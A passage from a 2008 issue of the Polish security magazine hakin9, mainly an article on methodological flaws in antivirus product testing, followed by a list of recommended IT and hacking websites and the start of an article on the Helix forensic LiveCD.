bezpieczeństwa  oraz  po  spraw-
dzeniu, czy testy te są wykrywane, 
nasuwa się wniosek, że każde roz-
wiązanie  podnoszące  poziom  bez-
pieczeństwa jest warte zastosowa-
nia. Dlatego też, mając na uwadze 
dynamikę powstawania nowych za-
grożeń,  system  wykrywania  wła-
mań jest rozwiązaniem godnym po-
lecenia. l

O autorze

Pasjonatka  zagadnień  związanych  z  bezpieczeństwem  systemów  teleinforma-
tycznych. Posiada certyfikację MCSE+Security oraz tytuł certyfikowanego trene-
ra Microsoft (MCT). Zawodowo zajmuje się przeprowadzaniem audytów bezpie-
czeństwa oraz bezpieczeństwem organizacyjnym w oparciu o obowiązujące nor-
my i standardy, posiada wiele publikacji z tej dziedziny. Interesuje się problema-
tyką związaną z zarządzaniem i analizą ryzyka, a także metodykami wspoma-
gającymi modelowanie zagrożeń. Dwukrotna stypendystka Ministra Edukacji Na-
rodowej za osiągnięcia naukowe. Na co dzień pracuje w firmie ISCG Sp. Z o.o. 
w Warszawie.
Kontakt z autorem: paula.januszkiewicz@gmail.com

background image

www.hakin9.org

hakin9 Nr 2/2008

58

Obrona

S

ą  trzy  rodzaje  kłamstw:  kłamstwa, 
okropne kłamstwa i statystyki – Ben-
jamin Disraeli

Kto przeprowadza testy

Testujących  programy  antywirusowe  moż-
na  podzielić  na  kilka  grup.  Pierwszą  tworzą 
indywidualni  użytkownicy,  którzy  korzysta-
ją z programu antywirusowego. Często chcą 
sprawdzić,  czy  dokonali  właściwego  wybo-
ru,  wykorzystując  na  przykład  skaner  onli-
ne  producenta  konkurencyjnego  programu. 
Choć  nie  mają  pojęcia  o  zagrożeniach,  wy-
krzykują  hasła  wysławiające  konkretne  apli-
kacje  i  znieważające  inne,  ponieważ  któryś 
z programów wykrył wirusa, którego nie wy-
krył inny antywirus. Wyniki swoich testów pu-
blikują  na  forach  internetowych,  na  blogach 
i w komentarzach do artykułów. Tych wypo-
wiedzi  nikt  rozsądny  nie  traktuje  poważnie, 
ponieważ są całkowicie subiektywne i błęd-
nie interpretują fakty. 

Drugą  grupą  są  testerzy–amatorzy.  Te-

sty  przeprowadzane  przez  nich  polegają  na 
instalacji  kilku  programów  antywirusowych 
i  przeskanowaniu  większej  lub  mniejszej 
(zwykle  mniejszej)  kolekcji  zagrożeń.  Przy-

gotowują  oni  strony  z  wynikami,  na  których 
znajdują się zestawienia wykrywalności pro-
gramów.  Osoby  te,  przeprowadzając  testy 
czysto  amatorsko,  nie  muszą  dbać  o  ich  ja-
kość  –  przez  co  jest  ona  bardzo  niska.  Wy-
niki,  choć  na  pierwszy  rzut  oka  interesują-
ce, są sfałszowane na skutek przyjęcia błęd-
nej  metodyki.  Błędna  metodyka  jest  nieste-
ty najczęstszym problem, z którym borykają 

Wiarygodność 

testów programów 

antywirusowych

Jakub Dębski

stopień trudności

W przypadku programów antywirusowych jedną z najbardziej 

kontrowersyjnych kwestii są ich testy. Wzbudzają wiele emocji 

wśród użytkowników, wśród potencjalnych nabywców i wśród 

konkurujących firm antywirusowych. Są istotne, ponieważ 

kształtują obraz produktu antywirusowego – co przekłada się 

na decyzje o jego zakupie, czyli na pieniądze.

Z artykułu dowiesz się

•   jak przeprowadzane są testy programów anty-

wirusowych,

•   jak  twórcy  programów  exploitują  metodyki 

przeprowadzania testów,

•   dlaczego  większość  istniejących  testów  jest 

nierzetelna.

Co powinieneś wiedzieć

•   powinieneś  znać  podstawy  działania  progra-

mów antywirusowych,

•   powinieneś  znać  podstawową  terminologię 

związaną  z  niebezpiecznym  oprogramowa-
niem.

background image

Wiarygodność testów programów antywirusowych

hakin9 Nr 2/2008

www.hakin9.org

59

się  również  profesjonalni  testerzy. 
Jak pokażę w dalszej części artyku-
łu, nawet przyjęcie lepszej nie daje 
wiarygodnych rezultatów.

Trzecią grupą są profesjonalni te-

sterzy  i  firmy  wydające  certyfikaty. 
Na  bieżąco  współpracują  z  firmami 
antywirusowymi  w  celu  stworzenia 
jak najlepszych procedur testowych.
Czwarta grupa to dziennikarze, któ-
rzy tworzą zestawienia opierając się 
na testach wykonanych własnoręcz-
nie (często takie testy są równoważ-
ne  amatorskim)  lub  na  testach  zle-
conych  profesjonalistom.  W  swo-
ich  artykułach  uwzględniają  tak-
że  dodatkowe  kryteria  oceny,  takie 
jak  jakość  wsparcia  technicznego, 
jakość  instrukcji,  dodatkowych  na-
rzędzi, wyglądu interfejsu użytkow-
nika  czy  nawet  pudełka.  Kolejność 
programów  w  testach  mocno  zale-
ży od przyjętych kryteriów dodatko-
wych  –  również  tych  niezwiąznych 
z wykrywalnością.

Cel i rodzaje testów

Celem testów powinno być przełoże-
nie jakości produktu na wartości mie-
rzalne.  Przed  testerem  stoi  zadanie 
wybrania  tego,  co  testować,  jak  te-
stować i jakie przyjąć kryteria oceny. 
Do  standardowych  testów  progra-
mów antywirusowych należą:

•   testy wykrywalności,
•   testy szybkości skanowania,
•   testy ochrony proaktywnej (heu-

rystyki),

•   testy fałszywych alarmów.

Czasami  przeprowadzane  są  do-
datkowe testy:

•   wykorzystania zasobów,
•   szybkości  reakcji  na  zagroże-

nia,

•   możliwości  przebicia  się  przez 

warstwy  ochronne  plików  (pro-
tektory),

•   skuteczności  dodatkowych  mo-

dułów  (blokady  behawioralne, 
zapory  ogniowe,  leczenie,  ska-
nery  protokołów  sieciowych, 
wykrywacze rootkitów itd.),

•   przyjrzyjmy  się  podstawowym 

błędom  popełnianym  przez  te-

sterów w poszczególnych kate-
goriach.

Wykrywalność

Za główny wyznacznik jakości pro-
gramu  antywirusowego  uznawana 
jest  skuteczność  detekcji  znanych 
zagrożeń. Testujący skanują kolek-
cję plików i na podstawie wyników 
ustalają  procentową  skuteczność 
programu. Test ten wydaje się być 
na tyle prosty, że trudno wymyślić, 
w  jaki  sposób  można  przeprowa-
dzić  go  niepoprawnie.  Pozory  my-
lą,  gdyż  neutralne  przeprowadze-
nie go jest praktycznie niemożliwe. 
Pytaniem, które każdy powinien za-
dać, jest skąd testujący biorą prób-
ki zagrożeń?

Większość  amatorów  opiera  te-

sty na niewielkiej kolekcji zagrożeń, 
najczęściej  pobranej  z  Internetu, 
ze  stron  hakerskich.  Kolekcja  taka 
składa się z od kilkuset do kilku ty-
sięcy  plików.  Ponieważ  współcze-
śnie  jest  to  liczba  zagrożeń,  która 
każdego dnia dodawana jest do baz 
programu  antywirusowego,  jest  to 
próba  zbyt  mała  do  przeprowadze-
nia rzetelnych testów. Aby testy mia-
ły  sens,  konieczne  jest  wykorzysta-
nie bogatej bazy zagrożeń, jaką sta-
rają  się  zdobyć  profesjonalne  firmy 
testujące.  Wykorzystują  one  różne 
źródła plików:

•   pobranie ze stron hakerskich,
•   od dostawców skrzynek poczto-

wych,

•   z honeypotów;
•   zebrane przez roboty interneto-

we,

•   od niezależnych zbieraczy,
•   od producentów programów an-

tywirusowych.

Dostawcy skrzynek pocztowych są 
dobrym  źródłem  robaków  poczto-
wych,  ale  nie  są  w  stanie  dostar-
czyć  koni  trojańskich,  wirusów  in-
fekujących  pliki,  dialerów,  downlo-
aderów czy exploitów. Do tego słu-
żą  honeypoty  i  roboty  internetowe, 
które  chodzą  po  stronach  i  pobie-
rają  niebezpieczne  oprogramowa-
nie.  Źródłem,  które  dostarcza  wię-
cej próbek, są niezależni zbieracze, 

którzy  kolekcjonują  niebezpiecz-
ne  oprogramowanie  i  wykorzystują 
powyższe źródła. Ponieważ wymie-
niają się z osobami z całego świa-
ta,  są  w  stanie  sprowadzić  specy-
ficzne dla wybranego regionu konie 
trojańskie. Kolejnym źródłem są sa-
me firmy antywirusowe, które mają 
najwięcej  próbek.  Jedna  firma  jest 
w  stanie  dostarczyć  do  testu  wię-
cej próbek niż wszystkie powyższe 
źródła  razem  wzięte.  Miesięczny 
zestaw może zawierać nawet kilka-
dziesiąt tysięcy próbek. Z tego po-
wodu firmy antywirusowe mają naj-
większy wpływ na zestaw testowy. 
Ponieważ pomiędzy firmami nastę-
puje wymiana próbek, te, które wy-
mieniają  się  i  te,  które  dostarczają 
najwięcej  próbek  mają  największe 
szanse uzyskać wysoki wynik w te-
stach. Nijak ma się to rzeczywisto-
ści, gdyż liczy się jedynie liczba wy-
krywanych plików zestawu testowe-
go.  Czyich  próbek  w  zestawie  jest 
więcej, ten wygrywa.

Kolejną  kwestią  jest  jakość  sa-

mego zestawu. W jaki sposób moż-
na sprawdzić, czy pliki w zestawie te-
stowym są rzeczywiście zagrożenia-
mi, a nie na przykład uszkodzonymi 
plikami, w których programy antywi-
rusowe  przypadkiem  coś  wykrywa-
ją?  Niektórzy  robią  to  następująco: 
Skanujemy  próbki  za  pomocą  AVP 
i F–prot i usuwamy wszystkie ozna-
czone jako OK, Prawdopodobnie Za-
infekowane,  Podejrzane  lub  Uszko-
dzone  (tekst  z  jednego  z  najwięk-
szych  amatorskich  testów).  W  efek-
cie tego pozostają w kolekcji jedynie 
próbki,  które  są  wykrywane  przez 
powyższe antywirusy, a usuwane te, 
które są wykrywane wyłącznie przez 
inne. Zgadnijmy, które dwa antywiru-
sy będą zawsze w czołówce powyż-
szego testu?

Testujący  powinni  sprawdzić 

wszystkie próbki, które do nich tra-
fiają. Kolekcje pełne są starych do-
sowych wirusów, niedziałających na 
nowych  systemach,  plików  uszko-
dzonych,  plików  z  pozostałościa-
mi po leczeniu infekcji, a nawet pli-
ków  nie  będących  nigdy  zagroże-
niami, w których program antywiru-
sowy  błędnie  wykrywa  zagrożenie. 

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

60

Sprawdzanie powinno odbywać się 
na komputerach rzeczywistych, po-
nieważ coraz więcej niebezpieczne-
go  oprogramowania  wykrywa  wir-
tualne  środowisko  i  zachowuje  się 
w  odmienny  sposób.  Czy  jest 
w ogóle możliwe sprawdzenie jako-
ści  próbek?  Na  pewno  można  wy-
kluczyć pliki uszkodzone lub o nie-
poprawnym  formacie.  Nie  jest  jed-
nak możliwe sprawdzenie w rozsąd-
nym czasie całej kolekcji. W najnow-
szych testach liczbę wykorzystywa-
nych próbek liczy się w setkach ty-
sięcy. Przekracza to możliwości na-
wet profesjonalnych testerów.

Zwróćmy  uwagę,  że  niebez-

pieczne  oprogramowanie  działa 
w  środowisku  dynamicznym.  Bot 
może działać tylko, gdy potrafi za-
logować się na kanał IRC by otrzy-
mywać  polecenia,  downloader  jest 
groźny tylko, gdy aktywny jest ser-
wer HTTP, z którego ściąga niebez-
pieczne  oprogramowanie,  exploit 
zadziała na nie załatanym oprogra-
mowaniu.  Ponieważ  długość  życia 
przeciętnego niebezpiecznego pro-
gramu  to  kilka  dni,  większość  pli-
ków w kolekcjach nigdy już nie bę-
dzie groźna. Nie ma również moż-
liwości  stwierdzenia,  że  aktualnie 
niedziałająca  próbka  nie  zadziała 
ponownie z biegiem czasu lub uru-
chomiona w innym środowisku.

Istnienie w kolekcjach niedziała-

jących  próbek  powoduje  absurdal-
ną  sytuację  –programy  antywiru-
sowe muszą wykrywać zagrożenia 
w plikach, które nie są groźne, wy-
łącznie w celu osiągnięcia lepsze-
go  wyniku  w  testach.  Prowadzi  to 
do  sytuacji,  w  której  tester  stwier-
dza, że plik jest na pewno groźny, 
bo wykrywa go kilka firm antywiru-
sowych, po czym kolejne firmy mu-
szą  dodać  go  do  swoich  baz,  aby 
nie pozostać w tyle w testach.

Nawet  w  przypadku  sprawdza-

nia  poprawności  próbek  przez  te-
stujących istnieje efekt zwany psu-
ciem kolekcji. Polega on na tym, że 
do  odróżnienia  dwóch  próbek  naj-
częściej  wykorzystuje  się  sumę 
kontrolną  pliku  (najczęściej  MD5). 
Zmiana choć jednego bajta (lub do-
pisanie go na końcu pliku) powodu-

je, że w kolekcji znajdą się dwa pra-
wie identyczne pliki. W momencie, 
gdy  tak  zduplikowany  plik  jest  wy-
krywany  tylko  przez  jednego  an-
tywirusa,  uzyskuje  on  przewagę 
nad  konkurencją.  Co  w  przypad-
ku, gdy plik jest zduplikowany 1000 
razy?  Czy  to  wciąż  inny  robak 
(w końcu ma inne MD5), czy ten sam 
i plik w kolekcji powinien pozostać 
jeden?  Jeżeli  tak,  to  jaką  przyjąć 
miarę  podobieństwa  do  wyklucza-
nia  podobnych  plików  z  kolekcji? 
Niestety,  kolekcje  są  pełne  takich 
próbek,  być  może  umieszczanych 
w nich celowo.

Szybkość skanowania

Drugim  najpopularniejszym  kryte-
rium testu jest szybkość skanowa-
nia  programów  antywirusowych. 
W  tym  przypadku  testujący  przyj-
mują  błędną  metodykę  z  powodu 
niewiedzy  na  temat  działania  pro-
gramów  antywirusowych.  Najczę-
ściej  proces  testowania  przebiega 
następująco:

•   programy antywirusowe są ścią-

gane  ze  strony  producenta  lub 
otrzymywane od niego,

•   programy  instalowane  są  na 

komputerach testowych,

•   o określonej godzinie następuje 

ich aktualizacja,

•   wyłączany  jest  proces  aktuali-

zacji,

•   następuje  test  poszczególnych 

programów.

W  przypadku  testów  profesjonal-
nych  proces  aktualizacji  nie  na-
stępuje nigdy, a jedynie testowane 
są wersje otrzymane od producen-
ta programu. W ten sposób nie po-
wstają problemy związane z różni-
cami  czasów  aktualizacji.  Można 
dzięki  temu  przetestować  wszyst-
kie  programy  na  jednym  kompu-

terze,  na  zapamiętanym  obrazie 
systemu.  Większość  testów  ama-
torskich pomija kwestie buforowa-
nia  dostępu  do  plików  przez  sys-
tem plików, przez co kolejny testo-
wany program antywirusowy dzia-
ła  szybciej  niż  pierwszy  urucho-
miony.

Testerzy  profesjonalni  dokonują 

testów  dokładnie  w  takich  samych 
warunkach  (przywrócenie  obrazu 
systemu), przez co szybkość nie po-
winna  być  sfałszowana.  Tak  jednak 
nie  jest.  W  niektórych  programach 
antywirusowych  stworzono  mecha-
nizmy,  dzięki  którym  wypadają  one 
lepiej w testach. Specjalny sterownik 
sprawdza, czy plik został już skontro-
lowany i plik taki nie jest sprawdza-
ny ponownie. Z tego powodu urucho-
mienie  (bez  przywrócenia  czystego 
systemu,  nawet  po  restarcie)  ska-
nowania on–access lub on–demand 
powoduje, że drugi w kolejności test 
przebiega błyskawicznie.

W  rzeczywistości  taki  sterownik 

nie  przynosi  zysku.  Po  każdej  ak-
tualizacji  programu  antywirusowe-
go  pliki  muszą  być  sprawdzone  po-
nownie,  ponieważ  w  bazach  poja-
wią  się  nowe  informacje  o  zagro-
żeniach  i  plik  występujący  na  dys-
ku  może  okazać  się  właśnie  doda-
nym zagrożeniem. Aktualizacje pro-
gramów  antywirusowych  następu-
ją kilka razy dziennie, więc plik mu-
si  być  po  każdej  z  nich  sprawdza-
ny. Ponieważ w testach profesjonal-
nych aktualizacje są wyłączane, pro-
gramy  stosujące  wyżej  wymienioną 
technikę  osiągają  bardzo  dobre  re-
zultaty  dla  skanera  on–access  lub 
on–demand,  w  zależności  od  tego, 
który z nich jest testowany jako dru-
gi. Sterownik taki powoduje dodatko-
we zagrożenie związane z możliwo-
ścią podmiany czystego pliku na nie-
bezpieczny  przy  nieaktywnym  ste-
rowniku. Plik taki nie zostanie spraw-

W Sieci

Profesjonalne testy programów antywirusowych:

•  AV–Comparatives – http://www.av–comparatives.org,
•  AV–Test.org – http://www.av–test.org,
•  Virus Bulletin –  http://www.virusbtn.com/vb100/index.

background image

hakin9 Nr 2/2008

61

dzony  aż  do  kolejnej  aktualizacji  programu  antywiruso-
wego. Innym błędem powtarzanym przez amatorów jest 
testowanie  szybkości  skanowania  na  kolekcjach  zagro-
żeń zamiast na czystych plikach. Test taki nie ma sensu, 
ponieważ istotne jest spowolnienie systemu w przypad-
ku czystych plików. W rzeczywistym systemie potencjal-
ne zagrożenia stanowią ułamek procenta czystych obiek-
tów, które są sprawdzane przez program antywirusowy. 
Sprawdzanie obiektów groźnych może być długie – waż-
ne, aby było skuteczne.

Testy ochrony proaktywnej

Współcześnie  programy  antywirusowe  zmierzają 
w  kierunku  blokowania  niebezpieczeństw  zanim  do-
trą  one  do  użytkownika.  Jedną  z  najskuteczniejszych 
metod są mechanizmy heurystyczne wykrywające no-
we zagrożenia, których sygnatury nie są jeszcze zna-
ne. Heurystyka najczęściej testowana jest w następu-
jący sposób:

•   program  antywirusowy  i  jego  bazy  są  zamrażane 

określonego dnia,

•   po miesiącu, dwóch lub trzech nowe pliki z kolekcji są 

testowane za pomocą programu   antywirusowego,

•   liczba wykrytych próbek stanowi o sile mechanizmów 

heurystycznych.

Autorzy  testów  po  raz  kolejny  popełniają  błąd  w  meto-
dyce, przez co test ten nie oddaje rzeczywistej skutecz-
ności. Przykładowo silnik heurystyczny programu ESET 
NOD32 jest silnikiem adaptującym się. Każda dodana sy-
gnatura generyczna zwiększa skuteczność detekcji heu-
rystycznej, gdyż silnik dostosowuje się do aktualnie poja-
wiających się zagrożeń. Każda kolejna aktualizacja pro-
gramu zwiększa prawdopodobieństwo wykrycia nowego 
zagrożenia.  Ponieważ  program  antywirusowy  w  teście 
zostaje zamrożony, jego testowa skuteczność jest znacz-
nie mniejsza niż programu na bieżąco aktualizowanego.

Testy  ochrony  proaktywnej  są  niemiarodajne  rów-

nież  z  innego  powodu.  Tym  powodem  jest  różnica 
w czasie dostępu do próbek przez testującego i przez 
producenta  programu  antywirusowego.  Przyjrzyjmy 
się sytuacji, w której producent programu antywiruso-
wego otrzyma próbkę szybciej niż testujący:

•   producent programu dodaje wzorzec próbki do pro-

gramu,

•   następuje  zamrożenie  programu  przez  testera 

(przestaje być aktualizowany),

•   testujący otrzymuje daną próbkę i dodaje ją do ko-

lekcji próbek nowych,

•   po  określonym  czasie  za  pomocą  zamrożonego 

programu antywirusowego testowana jest skutecz-
ność wykrywania nowych próbek,

•   próbka jest wykrywana wzorcem, ale tester uznaje 

ją za nową, więc detekcję traktuje jako heurystycz-
ną i zawyża skuteczność danego programu.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

62

stu fałszywych alarmów mogą być 
bardzo różne.

Między  innymi  z  powodu  fał-

szywych  alarmów  konieczna  jest 
współpraca autorów testów z twór-
cami  programów  antywirusowych. 
Twórcy programów po każdym te-
ście chcą odtworzyć procedury te-
stowe w swoim środowisku, ponie-
waż  często  testy  zawierają  ewi-
dentne błędy. Wielokrotnie zdarza 
się, że fałszywy alarm okazuje się 
rzeczywistym zagrożeniem wykry-
wanym tylko przez jeden program 
antywirusowy.  Mimo  tego  opinio-
twórcze  wyniki  bywają  publikowa-
ne  zanim  nastąpi  możliwość  ich 
weryfikacji.

Testy a rzeczywistość

Samo  wykrycie  zagrożenia  w  pli-
ku  nie  oznacza,  że  program  anty-
wirusowy  jest  w  stanie  zabezpie-
czyć  przed  nim  system.  Testy  nie 
oddają  rzeczywistości,  ponieważ 
niebezpieczeństwo  występuje  czę-
sto  zanim  program  zostanie  zapi-
sany do pliku. Exploit jest w stanie 
zaatakować program pocztowy czy 
przeglądarkę  internetową  w  mo-
mencie, gdy odpowiednio spreparo-
wany obiekt znajdzie się w pamięci 
komputera. Spreparowany strumień 
wideo lub audio może zainstalować 
konia  trojańskiego  poprzez  błąd  w 
odtwarzaczu.  Niebezpieczny  kod 
może działać bez instalacji na dys-
ku,  w  ramach  innego  procesu  lub 
jako samodzielny proces. Ponieważ 
programy  zabezpieczające  wyko-
rzystują  różne  techniki  i  skanowa-
nie  odbywa  się  na  różnych  pozio-
mach, niezwykle trudno jest porów-
nać ich rzeczywiste możliwości.

Dotychczas  żaden  z  testów 

nie  skupia  się  na  wielopoziomowej 

Poprzez  opóźnione  udostępnienie 
testującemu  próbek  już  wykrywa-
nych możliwe jest sztuczne zawyże-
nie skuteczności w testach mechani-
zmów heurystycznych.

Testy fałszywych 

alarmów

Programy  antywirusowe  muszą 
mieć  wysoką  skuteczność  wykry-
wania zagrożeń, ale nie mogą po-
wodować  fałszywych  alarmów, 
które bywają bardziej niebezpiecz-
ne  niż  konie  trojańskie.  W  celach 
testowych gromadzone są setki ty-
sięcy  czystych  plików,  które  skła-
dają  się  na  zestaw  testowy.  Nie-
stety,  wielokrotnie  zdarza  się,  że 
testerzy  w  kolekcjach  plików  czy-
stych  posiadają  pliki  niebezpiecz-
ne  lub  o  wątpliwej  bezpieczności. 
Wszystkie  pliki  wykrywane  choć 
przez  jeden  program  antywiru-
sowy  muszą  być  przeanalizowa-
ne  (wymagany  jest  tu  reverse  en-
gineering),  ponieważ  nawet  w  ko-
lekcjach  plików  czystych  dołącza-
nych  do  czasopism  lub  na  stro-
nach  z  darmowym  oprogramowa-
niem znajdują się realne zagroże-
nia. Amatorzy zwykle nie posiada-
ją  umiejętności  pozwalających  na 
dokonanie takich analiz.

Największym problemem kolek-

cji  czystych  plików  są  pliki  z  tzw. 
szarej strefy, które trudno zaklasy-
fikować jako dobre lub złe. Progra-
my  antywirusowe  często  testowa-
ne są z domyślnymi ustawieniami, 
które bywają różne w różnych pro-
gramach.  W  niektórych  domyśl-
nie włączone jest wykrywanie po-
tencjalnie niebezpiecznych aplika-
cji (riskware), których zwykli użyt-
kownicy  nie  powinni  mieć,  a  któ-
rych  występowanie  może  świad-
czyć  o  ataku.  Do  takich  aplikacji 
zaliczają  się  programy  typu  net-
cat  czy  remote  administrator.  In-
ne  programy  domyślnie  wykrywa-
ją niechciane aplikacje. Występują 
one u zwykłych użytkowników, ale 
często  użytkownicy  nie  chcą  ich 
mieć  (np.  adware).  W  zależności 
od  domyślnych  ustawień  testowa-
nych programów i tego, co testują-
cy uznaje za czysty plik, wyniki te-

O autorze

Jakub Dębski, starszy analityk w firmie ESET (producent programu NOD32), spe-
cjalizującej się w ochronie proaktywnej z wykorzystaniem najbardziej zaawanso-
wanych mechanizmów analizy heurystycznej. Wcześniej wieloletni pracownik pol-
skich firm antywirusowych. Był kierownikiem projektu silnika mks_vir, następnie Ar-
caVir. Studia na Wojskowej Akademii Technicznej ukończył obroną pracy dyplomo-
wej na temat wykorzystania sieci neuronowych w detekcji zagrożeń internetowych. 
Kontakt z autorem: debski.jakub@wp.pl

ochronie, jaką zapewniają współcze-
sne pakiety bezpieczeństwa.

Znaczenie testów

O  wadze  problemu,  jakim  są  te-
sty  programów,  może  świadczyć 
coraz  częstsze  pojawianie  się  te-
go  zagadnienia  na  konferencjach 
poświęconych 

bezpieczeństwu. 

Na  ostatnich  konferencjach  Virus 
Bulletin
 było kilka prelekcji na temat 
przeprowadzania testów, ich zakre-
su, proponowanych rozwiązań i po-
tencjalnych  problemów.  Wywoła-
ły  one  na  tyle  duże  zainteresowa-
nie,  że  w  maju  2007  roku  odbyły 
się  w  Reykjaviku  międzynarodowe 
warsztaty  testowania  programów 
antywirusowych, na których przed-
stawiciele firm starali się dojść po-
rozumienia  z  testerami.  Ponieważ 
każda firma chce wypaść w testach 
jak najlepiej, wątpliwe jest wypraco-
wanie metodyki, która zadowoli za-
równo  testerów,  firmy  antywiruso-
we, jak i użytkowników.

Podsumowanie

Najlepsze antywirusy w testach róż-
nią się o kilka procent. Ze względu 
na  problemy  związane  z  przepro-
wadzaniem  testów  niezwykle  trud-
no  jest  uznać  jednoznacznie  zwy-
cięstwo  w  jakości  któregokolwiek 
z nich. Mimo to na wynikach testów 
opierają się działy marketingu, a na-
bywcy podejmują decyzje o zakupie 
konkretnego  produktu.  Pozostaje 
mieć nadzieję, że w przyszłości uda 
się stworzyć wspólnymi siłami testy, 
które  umożliwią  obiektywną  ocenę 
jakości i bezpieczeństwo przestanie 
być niemierzalne. l

background image

Strony rekomendowane

Misją  serwisu  jest  zaprezentowanie  języ-

ków  programowania  oraz  ułatwienie  użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona  firmy  świadczącej  profesjonalne 

usługii IT, specjalizującej się w wypożycza-

niu  serwerów  i  macierzy.  Firma  prowadzi 

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal  poświęcony  technikom  programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych, 

nie  należy  ich  wykorzystywać  w  niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal  internetowy  poświęcony  w  całości 

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom 

i rozrywce oraz najnowszym aplikacjom. 

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.  

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką  bezpieczeństwa,  audytem,  IT  Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna  poświęcona  w  całości  tematy-

ce hakingu. Początkujący w tej dziedzinie 

znajdą  na  niej  działy,  ktore  im  umożliwią 

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją  serwisu  jest  dostarczenie  dużej  ilo-

ści  informacji  z  zakresu  informatyki.  Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek 

jak i kursy tworzenia portali www. 

http://www.swww.pl/

Serwis  poświęcony  branży  IT  oferujący 

codzienne  newsy,  artykuły,  recenzje  ma-

gazynów, testy oraz forum dyskusyjne.  

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera. 

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej  się  w  nowoczesnych  rozwią-

zaniach  informatycznych,  zaczynając  od 

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania 

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji 

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

www.hakin9.org

hakin9 Nr 2/2008

64

Obrona

N

a rynku światowym istnieje wiele in-
stytucji zajmujących się profesjonal-
ną  analizą  przypadków  przestępstw 

komputerowych.  Istnieje  specjalistyczne 
oprogramowanie  służące  zbieraniu  danych 
o  przestępstwie  oraz  pozwalające  na  do-
głębną  analizę  zdobytych  informacji  i  wła-
ściwe  zabezpieczenie  ich  w  celu  później-
szego  wykorzystania  jako  dowody  w  spra-
wach  sądowych.  Jedną  z  firm  produkują-
cych takie oprogramowanie jest AccessDa-
ta.  Niestety  oprogramowanie  nie  należy  do 
tanich, produkt Forensic Toolkit kosztuje bli-
sko 5.000 złotych. Guidance Software to ko-
lejna  firma,  która  produkuje  oprogramowa-
nie  do  przeprowadzania  śledztw  informa-
tycznych.  Cała  gama  programów  EnCase 
tej  firmy,  a  także  Field  Intelligence  Model 
(który  jest  dostępny  tylko  dla  organów  ści-
gania) są jeszcze droższe, a ich ceny są ne-
gocjowane  dla  każdej  kupującej  je  instytu-
cji.  W  przypadku  małych  firm  wydanie  du-
żej  kwoty  pieniędzy  na  oprogramowanie 
w  celu  wykrycia  przestępstwa  dokonanego 
w  ich  systemie  informatycznym  może  oka-
zać się zbyt dużym wydatkiem w porównaniu 
z ewentualnymi stratami wynikającymi z ta-

kiego  przestępstwa.  Sytuacja  małych  firm 
oraz osób fizycznych nie jest jednak bezna-
dziejna, ponieważ istnieją podobne aplikacje 
na licencji OpenSource. Mało tego, występu-
ją w formie na przykład uruchamianej bezpo-
średnio płyty CD. Przykładami takich zesta-
wów narzędzi są Snarl – bootowalny system 
FreeBSD,  INSERT  czy  F.I.R.E.,  opisywany 
w marcowym numerze hakin9 w roku 2004. 
W  tym  artykule  chciałbym  przybliżyć  dzie-
ło firmy E-fense, jakim jest Helix. To system, 
który jest używany przez liczne centra szko-
leniowe  kształcące  specjalistów  w  dziedzi-
nie informatyki śledczej.

Helix – analiza 

powłamaniowa

Grzegorz Błoński

stopień trudności

Wszyscy zdajemy sobie sprawę, iż coraz więcej przestępstw ma 

miejsce w systemach informatycznych firm, a nawet 

w prywatnych komputerach zwykłych obywateli. Z pewnością nie 

wszyscy są świadomi faktu, że można takie przestępstwo wykryć 

i zabezpieczyć ślady po incydencie w taki sposób, aby były 

ważnym dowodem.

Z artykułu dowiesz się

•   poznasz darmowe narzędzia do analizy powła-

maniowej,

•   poznasz  schemat  działania  podczas  analizy 

powłamaniowej. 

Co powinieneś wiedzieć

•   znać Linuksa,
•   umieć pracować w konsoli tekstowej Linuksa.

background image

Helix – analiza powłamaniowa

hakin9 Nr 2/2008

www.hakin9.org

65

Helix LiveCD – opis

Dystrybucja  Helix  to  zestaw  na-
rzędzi  przydatnych  w  analizie 
powłamaniowej systemów informa-
tycznych,  a  także  podczas  prowa-
dzenia  dochodzenia  w  przestęp-
stwach  komputerowych.  Jej  przy-
datność jest bardzo duża, a atutem 
Heliksa  jest  fakt,  iż  jest  on  całko-
wicie  darmowy.  To  bardzo  ważne, 
bo  choć  narzędzia  komercyjne  są 
w  niektórych  przypadkach  nie-
co  lepsze,  to  możliwość  używa-
nia  Heliksa  za  darmo  pozwala  ob-
niżyć  koszty,  jakie  pociąga  za  so-
bą konieczność używania tego typu 
narzędzi.  Wymagania  sprzętowe 
dla Heliksa nie są zbyt wygórowa-
ne.  Do  pracy  w  konsoli  wystarczy 
procesor  x86  oraz  48  MB  pamię-
ci  operacyjnej.  Aby  móc  korzystać 
z  interfejsu  graficznego  bazujące-
go  na  menadżerze  okien  XFWM 
z graficznym pulpitem XFCE, w któ-
ry jest wyposażony Helix, potrzeba 
już co najmniej procesora Pentium 
i 128 MB pamięci RAM. Uruchomio-
ny z płyty CD system pracuje płyn-
nie już przy 256 MB RAM i proce-
sorze  Pentium  II  300  MHz.  Istnie-
je możliwość zapisania konfiguracji 
systemu  na  zewnętrznym  nośniku 
(Floppy,  USB,  CD),  a  także  opcja 
